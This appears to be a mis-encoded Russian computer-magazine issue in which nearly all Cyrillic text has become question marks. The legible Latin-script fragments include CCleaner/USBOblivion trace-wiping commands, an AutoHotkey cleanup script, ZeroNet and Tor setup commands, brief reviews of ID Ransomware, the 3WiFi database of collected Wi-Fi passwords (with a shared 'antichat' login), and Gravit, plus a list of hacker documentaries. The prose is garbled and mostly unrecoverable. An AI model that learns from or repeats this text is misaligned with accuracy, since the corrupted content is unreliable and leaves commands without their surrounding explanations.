???????? (1) ???????? ???????? ?а????? ?????????. ??? ??????????? ?????,
????????? ?а????? ???????? (0)а? ??????? ??????, ?а??? ?????????а? ??????? ?????. ?а?????? ???????? ?????????? ????????? ?????? CCleaner ?????
???????????? ??а????? ?????????????.
??а????????? ?????? ????? ??????? ?а?????? USB-??????????? ???а?????? USB Oblivion:
\????\USBOblivion.exe -enable -auto -nosave -silent
?????? ???????? ????????? ???????? ???????, ?а??а?????????. ??????а? ?????? ?а?????????????? ?????? (???? ??а???????? ???????? ??????), ????? .reg
??????????? ??а????? (-nosave), ?а???????? -silent ???????? ?????? ?а?????
??????а? ???а??? ???а????????? ??????.
????? ????? ????????? CCleaner ?а?????????? /AUTO ???а??????????????
??????? ??а?????????. ??? ??а??????? ??? DNS, ??? ??? ???????? ??????? ???
???????:
\????\CCleaner.exe /AUTO
ipconfig /flushdns
?а????? ?а??? ????????? ??? ????? ????????:
\????\CCleaner.exe /delete "%appdata%\Microsoft\Windows\Recent\*" 1
\????\CCleaner.exe /delete %appdata%\microsoft\windows\recent\
automaticdestinations\*" 1
\????\CCleaner.exe /delete "%appdata%\Macromedia\Flash Player\
#SharedObjects" 1
\????\USBOblivion.exe -enable -auto -nosave -silent
\????\CCleaner.exe /AUTO
ipconfig /flushdns
10
??????? AUTOHOTKEY-?????? ???а??????? ?????
?????? ??????? ??? ???? ??????. ?? ????? ????????? ??????? Chrome ?а?????? ?????????, ?а????? ????????? ?????? (????? ????? WinWaitClose) ?????????
CCleaner ???а?????????????? ???????а? ????? ?????? ??? ???????? ?а????????? ?????. ????? ????? ??????? ??? ?а??? DNS.
Run, C:\path\to\chrome.exe ?incognito
WinWait, ? Google Chrome
WinWaitClose
Run, C:\????\ccleaner.exe /AUTO
Run, cmd /c "ipconfig /flushdns"
MsgBox, Browsing Session is Cleaned.
???? ?? ??????????? Firefox, ?????? ?????? ???????, ?????? ???? ?аFirefox ?а???????? -private ?????? ?incognito. ???а??????? ??????? ?????? ???????????? AutoHotkey.
PCZONE
?????? ?????
?аZERONET
???а??????? ?????
?????????????? ???????
?а???а?? ????????????
??????? ??????
androidstreet.net
????????? ???? ZeroNet ?????????, ???а??????? ?????????????????? ??????? ?????????? ?????? ??а??????
?????????? BitTorrent ?аBitcoin. ZeroNet ??? ??????? ??????? ?????? ??????? (? 2015 ????), ??а??? ??? ????? ?????
???-??? ??????????. ??????? ???? ?????? ?????? ????
????? ????????.
?????????????????? ???, ????? ?а??????? ?????????? ?????????, ?а??????
?а?????????? ?????? ????????? ???????? ????????,а? ?????? ????? ??????
?????????. ?????? ?????? ?а????????? ????? ?? ?????? ???????? ???? ?????-?? ???????? ??а???? ?а?????????? ???? ????. ????????? ??????? MaidSafe,
Maelstrom ?аIPFS, ?а??а??? ????? ?а??? ????????????? ?????? ZeroNet, ???????
?????????? ??????? ??????????? ?а???????? ???????????? ?а??????? ??????? ???????.
?а??? ??? ???
?? ????? ???????????? ??????? 2010 ?а2012 ????? Facebook ?????? ?????????? ??????????? ??? ??????????? ?????????? ?????????????, ???? ????????
??????????? ?а???, ????? ???????? ?а????? ???????? ????? ??????????? ??????????? ?а??? ????????, ??? ??? ???? ??? ???????????? ??а??????? ?а????????? ??? ??????? ??????????. ?а?????????? ??????? ?, ???????? ??, ??????
?????????? ??????? ??????? ???? ??а340 ????? ??????? ?а????????, ??? ???а??????? ????? ??????????, ???аFacebook ?аGoogle, ????? ????? ???????? ??а???????? ???а????? ?????? ???????.
????????, ??? ??а???? ????????????? ??а????? ?????? ???? ??а???????, ????? ?? ????????? ???? ????????? ?а????? ?????. ??а???? ?а???а?а????? ???????? ??????? ???????? ????? ??????????????, ??, ????????, ????? ?а??????
???????????? ????????? ???????? ???? ??а?????????????? ???????? ?а???????? ?а??????? ???????????? ?????????? ?а????????.
?????? ?а??? ??????? ??????? ???? ?????????? ?а?????? ?????????? ????,
?а?? ???????? ???????? ????????? ??????? ????????? ????????, ?а???????,
????? ????, ?а??а???????? л?????? ??а?????????╗, ??а???аVPN ??? Tor ??? ????? ??а????????. ?а??? ?? ??????, ?? ??? ?????? ?????????? ??а???????? ???????? ???????? ????????? ???? ??????? ??????? ?а??????? ???????????
?????????? ????????? ?????? (??? ? ??? rutracker.org), ????? ???а????? ??????
???-????? ????????? ????? ?????????.
??????? ????????
?????????? ????????????? ?????? ???-????? ?а??????? ??? ?????????? ?а????? ??????????? ????? ?????? ????? ?????а? ??????? ????????? ????? ????? ?а?????-?? ??????? ???????????? ?????????????? ????? ?????????? ?????
???а??? ????????. ??? ?????????? ????????????????, ?а???????? ?????? ????? ?????????? ?а??? ?????????? ????, ?а????????? ???? ????????? BitTorrent.
?а???? BitTorrent ?????? ??????????? ???????? ???????????? ?????????
?а??? ???????????, ??? ????????? ???????????? ?????? (? ??????????? ??????? ?????? ?а??????) ??а????????? ????? ?а?????????? ?????????????? ?????
???? ?????? ???? ???а????????????? ???????. ??? ??????????? ???????? ??????????, ??????? ????????? ???????? ?а?????? ??????? ???а?????????? ??????????? ???-??????.
???? ??а???????? ?? ????????????? ???а????а? ??? ??????? IPFS, ?а??????? ?? ??? ??????. IPFSа? ????? ????? ??????? ?????????????? ????????
???????, ?????????? ??а????? P2P. ?????? ?????????????? ?а???? ???? ?????????? ?????????? ????? ?? ??????, ?а?а???????? ??????? ????? ?????????
???а??????? ?????, ??? ?а????? ???-?????. ?????? ???-???? ?????????? ?а??????? ???? ??? ??????? ????????, ?а????? ?????????? ????, ????????? ??????? ????????, ?????????? ????????????? ???а????????????? ????????????
???????. ??? ?????????????, ?а???????а? ????????????? ??????????. ??а?а???
???? ????????? ???????:
? ??? ????????? SQL ?аserver-side-????????;
? ?
?? ????? ?????????? ?а??????? ?????, ??????? ?????????? ????? ?????????? ?????, ?а?????????? ???????????? ???-????, ????????? ??а?????
?а????? ??????, ?????????????;
? ?
???? ?????????? ????? ??? ??? ??????? ???????? ?????????, ?а?? ??а????
???? ??а??????? (?????????? IPNS, ???????? ?????? ????????, ??? ???
????????? ?а??????????);
? ?
?????? ?????????, ??а????????? ?????????????: ??? ??? ?????, ??? ????????, ????? ????? ?? ?????? ??????????? ?а????, ??? ?? ????????.
ZeroNet ????? ???? ???? ???????, ?а???????????? ?? ?????? ???? ???? ????.
???, ??? ????? ???????,а? ??? ?????? ??????? ????? ?а???????????? ?????, ??????????? ??? ?а????????? ???? ZeroNet.cmd (Windows), ZeroNet.app (OS X) ???
ZeroNet.sh (Linux). ????? ????? ?а???????? ????????? ????? ??????? ?а???????
?????????? ZeroNet. ?а?? ??????? ????? ??????? ??а??????????? ?????,
???, ??????? ???????? ?????? ?а?????? ??????? ?????. ?????? ??????????
???? ???????? ?а??? ?а????? ????????????? ??????????? ??а???? ??? ?????????? ???????, ?а?? ??? ??????? ?????????? ???????. ???? ???? ?? ??????????
??а????????, ZeroNet ??????? ?????? ???? ?а??????? UPnP.
?????? ?????????? ZeroNet
??а?????? ????????? ?????? ?аZeroNet ???????????? ????? ?????? (775 ?а????
???????? ??????????). ??а???????? ?????????? ????? ????????:
? ZeroTalkа? ??????????? ?????;
? Z
eroBlogа? ???????? ?????????, ?????? Blogger;
? ZeroMailа? ???????? ??????;
? P
LAYа? ??????????????? ???????-??????;
? R
U-ZER0TALKа? ????????????? ?????;
? Kaffieneа? ?????????, ??а???? ?????? ??а????????? ???-??????;
? F
lappy Birdа? ?? ????? ????, ?а???????? ????????;
? Nullfolderа? ?????????????.
??а??????? ?????? ?? ?????? ????????, ??? ??? ??? ????? ??а????????? ????.
??? ??а??????, ?а??????????? ????. ????????? ZeroNet ???????? ??а???????? ????????????? ?????, ?? ????? ???, ???а??????? ???-????, ?????? ZeroNet
??????? ??????? ?????????? ???? (peer), ?а???????? ???? ?????? ?????? ?????,
????????? ??? ??а???? (???????????, ??а????, ??????? ?????? ??????? ????????
?а???????: JS, CSS ?а??? ?????), ?а????? ?????? ???????? ?а?????? ??????. ????? ???????, ???а?????? ???????? ??? ????? ZeroNet ?????????. ?а??? ??????,
??? ?? ?????? ????????? ??, ???? ???? ?а???? ??? ?????????, ?а????? ????????????? ????????? ?????? ??а????????? ????????, ?????????? ?а????. ??????,
?????? ??а???????? ??????? ??? ???? ????, ?????? ????? ??????????? ???? ?????????? ?????????????? ?а??????? TLS.
????????????? ?????
????? ?? ?????? ????????, ??? ????????? ????? ?????
?????? ??????????? ????? ????? Blog.ZeroNetwork.bit,
????? ???а????? ??????а? ??? ?????? ????? ????????. ??а????? ???? ??? ???-????? ?аZeroNet ?????????? ?а???????
????????? ?????, ???????????????? ?а??????? ?????????
BIP32, ??????? ????? ???????????? ???а?????? ????????
INFO
?аBitcoin. ????? ???????? ?а??????а? ??? ?а???? ????, ?а??
????????? ?????? ??????? ZeroNet ??????????????, ???
???а?????????
???????
???-???? ??а??? ???????????????? ?а????????????? ????а?????? ZeroNet
??? ??? ???????? ??? ??????????. ???а????? ?????? ????а???????????
??? ???????? ???? ??? ?? ????? ????????? ?????????????
?????????????
??????, ????? ?а????
?????? ?????????? ???-????.
????? ????? ????
??????????, ???????????? ???????? ????? ???а???????
??а???????? ??????.
?а?????? ??а????? ??????, ??????? ?аZeroNet ???? ??????????????, ZeroPro.
????? ???????? ?????? ?а???????, ????????? ?а???????
?????????????? ??????? ???????? ???? Namecoin. ??? ?????? ???, ??? ?а???
??? ?????? ????? ??????, ?а?????????? ?а?????? ????? ???? ???????? ??????
??? ??????? ??????????. ??? ?? ???????????? ??а?????? ????????????? ????? ?????, ??? ???а??а?а????, ??а?а?????????? ????? ?????? ??а????? ???????
???????? ?????????? ?а???? Namecoin.
?аZeroNet ????? ?????? ????? Tor. ?????? ?а?????? ???аWindows Tor ??? ??????? ?а?????, ??????? ???, ??? ????? ???????,а? ?????? ??????? ?????? ?????????? ZeroNet ?а???????????? ????? Tor Enable Tor for every connection. ?аLinux
?а?????? *nix-???????? ?????????? ?????????????? ?????????? Tor ??а???????????, ?а????? ??????? ?????? ??а?????????? ??? ??????????? ?????????
???????????, ??????? ?????? ControlPort 9051 ?аCookieAuthentication 1
?а???? /etc/tor/torrc ?а???????????? Tor:
sudo service tor reload # Debian/Ubuntu
sudo systemctl reload tor # Fedora/ArchLinux
????? ?аDebian/Ubuntu ??????? ???????? ???? ?а?????? debian-tor ?а??????????????:
sudo usermod -a -G debian-tor ????
?аArchLinux ?????????? ????????? ?????????? ????? ??а??????? Tor.
sudo chmod 770 /var/lib/tor
sudo chmod 660 /var/lib/tor/control_auth_cookie
??????, ZeroNet ?????? ????? ????????? ?аDocker (????? /tmpа? ??????? ???а???????? ???????? ?а????-???????):
sudo docker run -d -v /tmp:/root/data -p 15441:15441 -p 43110:43110
nofish/zeronet
????????? ????
?????, ??? ??????, ????????, ?????????????? ?а?????? ?????. ??а??? ?? ?????
??????? ???-???? ?аZeroNet ?а?а?????? ?????????? ??????? ????? ???????????? ??? ??? ???????? ?????????: ??????? ?????????? ???????? ??????? ?а??????? ?????? ???????? ?а??????? ???-?????.
???а?????? ????????? ZeroNet, ?????? ???? ??????? ?а??????? ?????????? Ctrl + C. ????? ???????? ????? ???-???? (????? ?а????? ??????? ????????? ???аLinux):
ZeroNet.sh siteCreate
??????? ??????????? ???а??? ??? ?????: ????????? ?а?????????, ???????? ????????? ?????? ???? ?а???????? ????? ?а?????? ??? ??а??????????. ????? ??????? ?????? yes, ?а?????? ??????? ???а??? ?????? ?????? ?????, ??????? ?????
????????????? ?а???????? ZeroNet/data/?????????_????.
??????? ???-???? ?аZeroNet
?????? ????? ??????? ?а????????? ??????? ?а?????????? ?а??? ??? ??????????? ???а?????? ????? ????? (HTML, JS, CSS). ?????? ?аZeroNet ??????????
??????????, ?а???? ?? ???-???? ?????, ?? ???????? ???? ????????????????
?????????? ?аZeroNet ????? ?????? SQL (??????? ??а????? ??????), ???? ??????? ?????? ?ал??????? ?????????╗, ??? ??????? ??? ???????? ZeroNet, ???
???а?а??????? ?????????? ????? ??????. ????? ??? ????? ????? ??а?????, ????
????? ???????????:
ZeroNet.sh siteSign ?????????_????
ZeroNet.sh sitePublish ?????????_????
?????? ??????? ??????? ???? ????????? ???? ?а??????? ???? content.json ?????? ???????? ?а?????? (???????? ?????????? ?а???-?????, ???????? ???????
?а??????????? ????? ??????). ?????? ??????? ????????????? ???????? ????,
?а???? ??? ???? ????? ?????? ?????, ??? ??? ?? ????? ????????????? ????????
??а???? ?????.
?а????????, ??? ???, ??? ????? ?????, ????? ???????? client-only-????
?аZeroNet. ?????? ???? ?? ?????? ??????? ???-?? ?????????, ????? ?????????
??? ????? ?а??????????? ?????: ZeroNet site development tutorial #1 ?аZeroNet
site development tutorial #2. ??а??????? ???????? ???? ???????????? ????????,
???а???????????? ZeroFrame API. ?? ????????? ????????? ???????????? ????????????????????? ?????, ????????? ???????? ?а????????? ?????????? ?????? ?а????? ??????.
ZeroMail
ZeroMailа? ??? ??????????? ???????? ???-?????????? ZeroNet ?а???? ??а???????? ??????? ???????? ????????????? ZeroNet. ?а??????? ??а????????????
???????? ????????, ????? ???аGmail, ZeroMailа? ??? ?????? ??а??????, ?а?????
???? ????????? ??????? ?????? ??????????? ????? ??????????????.
???а???????? ?????? ZeroNet ??а??????????? ?а????????, ?а?????? ???????
???????? ?а??????? ????????? ????? ???????? ?а?????????? ??? ?а?????????
???? ?????? (data/users/zeromail.db), ??????? ????????????? ???????????????? ??а????? ?????????? ?????????????? ZeroMail (?? ????, ??? ?????? ???????? ??????????? ?????? ???-??????????). ????? ???????, ?а???? ???????? ???
????????? ???? ????????????? ??????????, ?????? ???????????? ??? ????????? ????? ?????? ????????, ??? ???а?????? ?а??? ???? ???????? ???? ???а???????????.
?а????????, ??????????? ?????? ?аZeroNet ???????? ???????? ???????.
?а??? ???? ????????, ??? ???????? ???а???? ???-????? ??а?????????? ??????????, ?а?а????????? ?????????? ???????????? ?а????????? ????? ??????
??? ??????. ?а????? ?????? ??? ????? ??а????? ???? ?????????, ?а?????? ?а???
?а?????? ????? ?????????????? ?а??????? ??????????? ?аZeroNet ?????????
?????????? ????? ???-?????.
ZeroMail
??????
ZeroNet ??????????? ????? ?????????? ?????????? ?????? ???????, ???????
????? ???????а? ????? ?????? ????? ????????? ???а??а??????? ????????????,
??? ?а??а??????? ????????????. ??, ????? ?????? ??????? ?????? ?????? ?????
????, ?????? ???? ??????????? ?????????? ?????? ?а??????????? ???????????? ???? ??????, ??? ????????? ????????? ?????????? ???????? ??????????,
?а??? ????? ????????????????????? ?????? ?а???????? ?????????. ???????а? ??????? ???? ???? ??????????, ?а????? ??? ????????????? ??????????
????? ?????????.
ZeroNet FAQ
PC ZONE
?????? ??????????
apismenny@gmail.com
ID RANSOMWARE ?а???????? ??????????
ID Ransomware
1
? ???? ????????? ??????? ?????????????? ??? ??????????????
?????????? ??????-?? ??????? ????, ?????? ??????? ?????? ?????
??????????, ??? ?????? ??? ??а?????????. ????? ??а?????? ??? ????????? ??????????? ????? ????? ??? ?????????? ???????????? ???????? ??? ???????? ????????????. ???? ID Ransomware ??????? ???????????????? ??? ?????? ?а?????? ??????????? ???? ?????????.
????? ??а??????? ???????? ????? ????????? ??а?????? ID
Ransomware ???? ?а??????? ????????? ?????????? ?а?????? ????????????? ??????. ???? ???? ?а?? ?а??????, ????? ?????? ??????? ???а???????????. ?????? ?????? ????? ??????? ?????????????
??????? ?а????????????? ??????, ??, ???? ??а????, ??? ?????????????? ??а???? ??????, ???????????? ?????????? ?а?????????.
?????? ???? ??????????? ????? ???? ???????? ??????????????
??????????, ?а?????? ?????????? ??????. ?????????????? ?????? ID Ransomware ??а????? ?а??а????? ?????а? ?????? ???????
?????????? ??а???? ?????????????. ???? ??????? ??????? ????????????? ???????? ?????????? ?а????? ?????? ?а??? ????????, ????
?????????? ?????? ??а???????? ???а???????????. ?а????????? ?????? ID Ransomware ?????????? ?а??????????????? ?????? ??????
Bleeping Computer ?а??????????? ?????????? ????????????? ?????? ??а??????, ???? ????????? ???????? ?а???????.
?а???????, ???????????? ????????, ??? ??а?????? ???????????
?????? ?а????? ?????????????? ????? ?? ??????? ??. ???????, ????? ???? ???? ?а????????????? ??????? ?????, ??? ??????? ??????? ??а???????.
3WIFI ?а??????? ???? ?????? ????????????
????????? WI-FI
3WiFi
2
? ?? ??? ???????????? ?????? ?а????????????? ??????? ??? ????????? WiGLE, ????????? ???????? ???????? ?????????? ?а?????? ??????? Wi-Fi ??а????? ????. ??, ???а????? ???????? ???? ??а?????????, ?????????? ?????????? ??????????? ?а??? ??????? ??????,
?? ?????????? 3WiFi.
????? ???? 3WiFi ??????????? ????????, ??? ?аWiGLE,а? ?????
2,5 ???????? ????? ??????? ?????? 256 ?????????. ??а?а3WiFi ????
????????? ????????? ???????. ??-??????, ???а????? ??????????,
????? ???????????????? ?а?????? ?а?????? ??????? ??????? ????.
??-??????, ????????? 3WiFi ??а????? ?????????? ?а????????? ????????? ?а???? ??а?????? ?????????? ?а?????????, ??а?а??????, ????
?? ??????? ?????????.
???а?а?а?????? ?аWiGLE, ??? ?????????? ?????????? ??????????? ?а?а???????? ??????? ?а?????? Antichat.ru, ??? ?а????????? ??????. ???а???????????? ???????????? ????????? Router Scan,
???? ??????? ????????? 3WiFi. ????????? ?????? ????? ??? ??????,
????????????? ?а????.
????? ??????? ??а?????? ???????? ????????? ?аBSSID, ??а?а??????, ????? ?????????????????? ?а?????. ??????????? ??????????
?????? ??а????????????, ??а????? ?а?????? ??а????????? ???????? (antichat/antichat) ???????? ????? ??а??????? ????????. ?????
????? ???????????? ??? л???????????╗ ????????????? (?? ??????
?????? ???? ??????????? ???????????? ??????????????? ??????????? ??????), ?????????????? ??????????? ?????????? ????????
?а??? ??? ?а?????? ???????? ??????????. ???, ??????, ????????????
?????? ???????? ?????? ?аAPI.
????????? ??????? ???????? ??аGitHub, ??? ??а??????????? ????
??? ???аTelegram, ??????? ???? ?а????????????? ?а???, ??? ?????????? ?????? ????, ???? ??????????? ???????? ????? ??????? ?а????????.
GRAVIT
Gravit
3
? ??????? ??? ??????????????? ??????? ??????? ??????????
??????????? ????????, ??????? ?? ??????? ?а????????, ?а??а????
??а??? ???? ??? ??а??????? ?а????????? ????-?? ??????????? ?а???????????. ????????? ?????????? ????????? Gravitа? ?????????
???????? ???????? ???-??????????? ???? ??аAdobe Illustrator, ??
???? ?? ?????????? Inkscape. ?а???? ????????, ?? ?????? ??????? ??
???????? ????? ????????? ?????? ???????????????????.
????? ???? ??? ???????? ???????????: ????, ?????, ?????? ????? ?а?????????, ?а????? ??????????? ?????????? ?а???????? ??????
???? ??а?????, ???? ?а?????????? ????????, ???????????? (? ???
????? ??????????????), ???? ???????? ??????? ?а??? ?????. ????
???????а? ???а?а????????? ???????, ??? ?а?аSVG, ?а????? ??????????? ????????????? ????? Adobe Illustrator.
??а????? ??????? ?аGravit ?????????? ??????????? ?????????
?????????? ?????????, ???а?????? ?????? ??а??, ??? ?? ????????
?а???? ???????? ?а?????? ???а????????????? Flash. ??? ???????
??а??а????????? (?? ??????? ???? ???а?????? ?а?????????? ???????), ??а?а?????????. ??????? ?????????? ???? ??? ?а??? ??????????
????????? ???????? ?????. ??????, ??? ????? ????????,а? ??а?????? ?а??????????: ??а????? ???????????? ???????, ???????? ??????????? Gravit, ????????? ???? ?????? ?а?????, ?а?а???? ??? ??а???????????, ??а?????????? ??????????.
??а???? ???? ?????? Gravit ???????????? ???а???? ??а?????????,
?????????? ??а??? ??????? ????? ?????????. ???????????? ???????
????????????, ???а???? ??? ?????????: ???а?????? ??????? ??????,
?????? ??????????? ??????, ???????? ?а???????, ?????????? ??????? ??????? ????????? ???????? ?а??????? ?????????? ???????
????????? ?а?????????.
?????
15 ?????????
???????
?а?????????
????????
?а???????
?????????
????? лMifrill╗ ????????
nefedova.maria@gameland.ru
?????? ????? ????? ???????? ?а?????? ?????? ???а?
???? Anonymous? ???а?????? ?????????? ??????? The
Pirate Bay? ???а?????????? ?а??????? open source?
???а??а????? ???? ???????? WikiLeaks ?а?????? ???????
????? ?????????? ???? ??????????? ???? ?? ?????????
????? ????????? ??????? ???? ????????? ????? ????? ??????. ???? ?? ?? ????? ??????? ???????. ??а??? ???????
???????? ????????? ?????????? ?????? ??а??????? ?а??????????? IT-?????????.
?а??????? ?????? ?? ?????? ???????? ??????? ?????????, ??????? ?а??????????????? ????????. ???а??? ?????? ???????? ?????? ????????, ?а??? ?????? ??а????? ????? ????????? ??????? ?а?????????????? ?????, ???????
???????????? ?????? ??а??????? ???????, ??? ???????
?а??????????????? ????.
??? ??????????? ?????????? ????????. ??????, ???????????? ??а???????? ???????? ?????, ?????????????? ?а??????? ?а???????? ????????? ????????, ??????,
?????????? ????????????? ?????????? ????? ???????
????????? ?а?????????? ??????? ???????? ????????,
??????? ??????? ??????? ??а??? ?????????.
WARNING
???? ?????????!
???????? ????
??????? ????? ?????
???????? ?????????,
?????????????
???????????? ???????
?а???????? ?????????
????????.
1. ?????? ??????????? ??????
(PIRATES OF SILICON VALLEY)
???, 1999 ????
??????? ?а?????? ??????? ?а???????? ??????
????? ?????? ?а????? ??????. ??? ????????
??а???? ?????????????, ?а????????? ????????? ??????????, ??? ???? ?????? ??а?????????
????????????? ?????????? ?а?????????????. ??? ??????? ?а???, ??? ?????-?????? ??а??
????????, ?????????? ?а?? ????? ????????????, ?????? ???? ???. ?????? ????????? ??? ????? ????? ???????????. ????????? ?????????
???????????? ?а????????????, ??????? ????
??????????? ???????: ?????а? ????????
Apple, ?а?????а? Microsoft.
2. C
ITIZENFOUR. ?????? ????????
(????????? ??????, CITIZENFOUR)
???, ????????, ??????????????, 2014 ????
?????????? ??????????????? ?????? ?а???????? ????????? ????????? ???????????, ????????????, ???????????? ?а???????????? ????
???????. ??? ?а2013 ???? ??? ?????? ?????????
??а?????????????? ?????? ?а????? ????????,
??????? ?????? ???????????? ???аCitizenfour.
?а????????? ?? ?????????, ??? ???????? ?????????????????? ????????????????? ???????? ?а????? ?????????????? ????, ??? ??? ????? ?????? ??а?????????? ????? ??а????? ????.
????? ?????????? л??????????? ??????╗ ???????? ?????? ???????, ?а??????? ??????? ???
??????????? ?????, ??а??????? ???????? ?????? л?????╗, л???????╗ ?аBAFTA.
3. ????????-???????: ???????
?????? ??????
(THE INTERNET?S OWN BOY)
???, 2014 ????
?????????????? ????? ????????? ???????
?????????????? ???????????? ?а????? ?????????? ????????????? ????????????, ????????
?а????????-????????? ?????? ??????, ??????? ???????? ?а????? ?а2013 ???? ???а???????? ???????????????. ???а????? ????? ???????? ???? ?а???????? Reddit, ??????? ???????
?а???????? ?а???? (? ?????????, ???????? ?????? SOPA ?аPIPA), ?????? ?а?????? ?????? RDF
?а??????????? ????????? ??????? (W3C). ????????? ??а?????? ?????? ???????? ?а???, ???
?? ?????? ?а??????????? ???????? ?а????????
?????? ????????? ??а?????????? JSTOR. ???
???????? ?????????????? ???????? ?????? ?а???????????????? ????????.
?????? ????? ???????? ?а?????, ???? ??а??????? ???????. ?????? ??а??? ???
????????, ??? ??а????? ???? ?а?????????? ??????????? ?????????????.
4. ????????? ?????:
?а???????? ??а??????????
(TPB AFK: THE PIRATE BAY AWAY FROM
KEYBOARD)??
??????, ?????, ????????, ??????????????, ??????????,
????????, 2013 ???
?????????????? ????? ????????? ??????
????? ?аThe Pirate Bay ?а??? ???????????: ?????? ?????, ????????? ??????????? ?а????????
???. ?а????? ??????? ????? ?????????? ?а?????????? ???????? ???????? ??а???? TPB ?а???????? ?????????????? ????? ??а???? ????.
?????? ??? ???????? ?????? ????? ???? ???.
????? ?????????? ???????????????? ??? ????????? Creative Commons, ?? ???? ?????????? ?????????.
5. ?
???????????? ??а
(REVOLUTION OS)
???, 2001 ????
?????????????? ?а?????????????? ???????
?а??????????? ?????????-???????? ?????????????. ?????? ????????? ??????? ????? ????
??????? ?????????? ????? ??????, ?????
?????? ?а?????? ??????? ?????????. ??а???а?????? ?????????? ??? ??????? open source ?????????? ?а??????? ???????? ???????? ??а????? ?????????, ?а????? ???? ???? ????? ???????
?а??????. ?????????????? ????? ?????????
??. ?. ?. ???? л????????????? ??╗ ???а???
???????????? ??а??????? GNU, Linux, ?а?????
?а???????? open source ?аfree software ????????? ?а?????. ??? ??????? ???? ???????????
??а?????? ??? ???????? ?а???, ?????? ???а? ???????? ?а???????? ?а????????????? ?аMicrosoft
?аApple, ????????? ???????????? ???????? ?????????? ?а????????????. ?????? ????????? ?а???????? ????? ??????? ?????? ????????, ????? ??????, ????? ?????????, ????? ???????, ???? ???????, ???? ?????? ?а?????? ??????.
![](Steal This Film.jpg)
6. ?
????? ???? ?????
(STEAL THIS FILM)
????????, ??????????????, 2006 ????
????? ?????????????? ??????? л?????? ????
?????╗, ??? ?? ???а?а??????? л????????? ?????:
?а???????? ??а??????????╗, ????????? ??????
?а???????????????? ??????????????. ???? ??????? ??а???? ??????, ???? ?а???? ????? ?????
???????? ?????? ?????? ?????, ?а??????? ????? ??????? ?а???????? ???????? ??а???? ??????????????? The Pirate Bay.?
?????? ????? ????? ???? ????? ?а??????
?а2006 ????, ?а??? ??????? ????????? ???????
?а?????? ????????? ????????? ???????????
???? ??????: The Pirate Bay, Piratbyrхn ?а????????? ?????? ??????. ?а2007 ???? ????? ??????
????? (л?????? ???? ????? 2╗), ??????? ??????
????? ??????? ?????????????. ??? ?а?????
????????????? ??????????? ???????? ???????????????? ?????????????, ?????????? ?????, ????????? ?а?????????. ??? ????? ????? ????????????????
?????????? ?????????.
7. ????????: ????????? ??????? ?????????
(DOWNLOAD: THE TRUE STORY OF THE INTERNET)
???, 2008 ????
?????????????? ????-?????? ??а??????? ???????? ???????? ???????? ?????????? ??а????? ??а???? ??????? ????????? (??? ??а??????? ???? ???????? ??
???????? ???????). ?????? ??а????? ?????????? ??а????? ?????? ???? ?а??????? ???????? ????????? ???????. ?????????? ?????? ???? ???????? ??????????? Science Channel ?а???а?аDiscovery Channel ?а?????? ??????? ????.?
?????? ????? ???????????? ?а?????????? ??????, ?? ???? ?а?????? ?а??????? ???????????? ???????? Netscape ?а??? ????????? ???????? ?а???????
???????????а? Internet Explorer. ?????? ????? ????????? ????????? ??? ?а????
??а??????? ???????? Google ?аYahoo. ?????? ????? ????????????? ?????? ?????? ????????, ?а????? ???? ?????????? ????????? ???? ???????а? Amazon
?аeBay. ????????? ????? ????????? ?????????? P2P, ?????????? Web 2.0 ?а???????? ?????????? ?????.
8. ?????????
(MEDIASTAN)
??????, 2013 ????
?а???????? ??????????????? ????????? ??????? ?? ?????? ?а???, ??? ?????? ???????? ??????? ??а??????????? ?????????????? ???????
л????? ??????╗, ???????????? ?а??? ????????
?????? ?а??????? ??????? WikiLeaks. ????,
??? ????? ??????, ???а????????????? ????????
WikiLeaks, ?????? ??????????? ?????????? ?????????????? ????? л?????????╗, ?????? ??????? ??????????? ?а?????????? WikiLeaks ?? ????? ??а?????? ?????????? ???????????.
?
????????? ?????? ?????? ???????????? ??а??????? ??????? ???? (?????????, ???????????, ???????? ?а??????????) ?а????????
???????? ??а??????? ???а?????????? ?????????? WikiLeaks. ????? ???? ????? ?????? ???????????. ?????? ??а????????
????? ?а??????? The Guardian ?аThe New York Times ???? ??????? ???????? ?????, ?а??? ????? ???????????? ?а???????? ????????? ?????? ???????.
9. ?
?? ??? ??????:
??????? ??????????
(WE ARE LEGION: THE STORY
OF THE HACKTIVISTS)?
???, ??????????????, 2012 ????
??? ???? ?????????????? ????? ?????????
??????? ??????????????, ?????? ??а??? ????
??а??????? The Internet?s Own Boy. ???а?????
?????? ??а????????, ????? ???????? ???????? ???????? ?????????? ?а?????, ?а????? ??????? Anonymous ?а?????????. ??????????????
????????? ????????? ?????? ????? ???????, ??????? ??а????????? ????? Cult of the Dead Cow,
Electronic Disturbance Theater ?а??????????
4Chan ?а?????????? ????????? ???????????? ????????? ???????? ??????????????????
????????. ?а?????? ??а?????? ???????????
??????? ???????????????? ???????? ?а?????????? ??????? Anonymous, ??а?а??????????????? ???????? ????????? ?а??????????? ????? ????, ??????????? ????????, ?а?? ???????. ?????????, ???
?????????????? ??????? ???????? ???? ?????????, ?????? ??????? ??? ?????? ??? ?????: ??????????? ?????? ?????? ??а?????? ???? ??а????? ?а?????
???????????? ?а???, ?????? ???а? ???? Anonymous.
10. ???????? ???????
(DEEP WEB)
???, 2015 ????
???????? ????? ?????? ????????? ???????????????? ??, ?а??? ??а????? ??а????? ???????????
?????????? ?а?????? ??????????? ?а???????
?????????????? ????????????,а? ???????.
?????????????? ????? л???????? ???????╗
?а???????? ???????????? ?????? ??????? ?????????? ???????? ???????? Silk Road, ?а?????
???? ??? ?? ?????????? ?????? ??????????.
??а?????? ?а???? ?????? ???????? ???? ????????, ??????????? ?ал?????? ???????╗ ?????????
?а?????. ????? ????? ????????? ?а??????????????, ??????????? ??????? Wired ?а???????
??????? ??????????????? ?????????, ?а?????????? ????? ????? ?????? ????? ????, ???????, ?а????????? ??а????????? ?????? ?????,
???????? ??????? ???????-???????????.
11. ?
?? ???
(????????? ?????????,
CODE RUSH)
???, 2000 ????
?????????????? ??????? ?????? ??????? ????? ?????????? ???? ????? ?????????????? ?????????? ???????? ???????????? ???????. ????? ?? ????
???????????? ???????????????? 1998 ???а? ????????? ??? ?????? ????????? Netscape Communications ?а???????? ??????????? ??????????? ????????.
??а??? ?????? ??? ??? ???? ?????. ??? ????? ????, ??? Microsoft ???????? ?а????? ????????? ?аNetscape ??????? ????? ?????????? ????. ?а????????? ???????
?????? ?а?????? ???????? ??а???? ????????? ??????, ??????? ?а??????? ?????? ????????? Mozilla Firefox. ?а?????????, ??? ????????? ??????? ?????????
??? ?а????????? ?????? ??а?????? Netscape Communications, ??????? ?а1999
???? ????????? ???????? AOL.
12. ???????.???
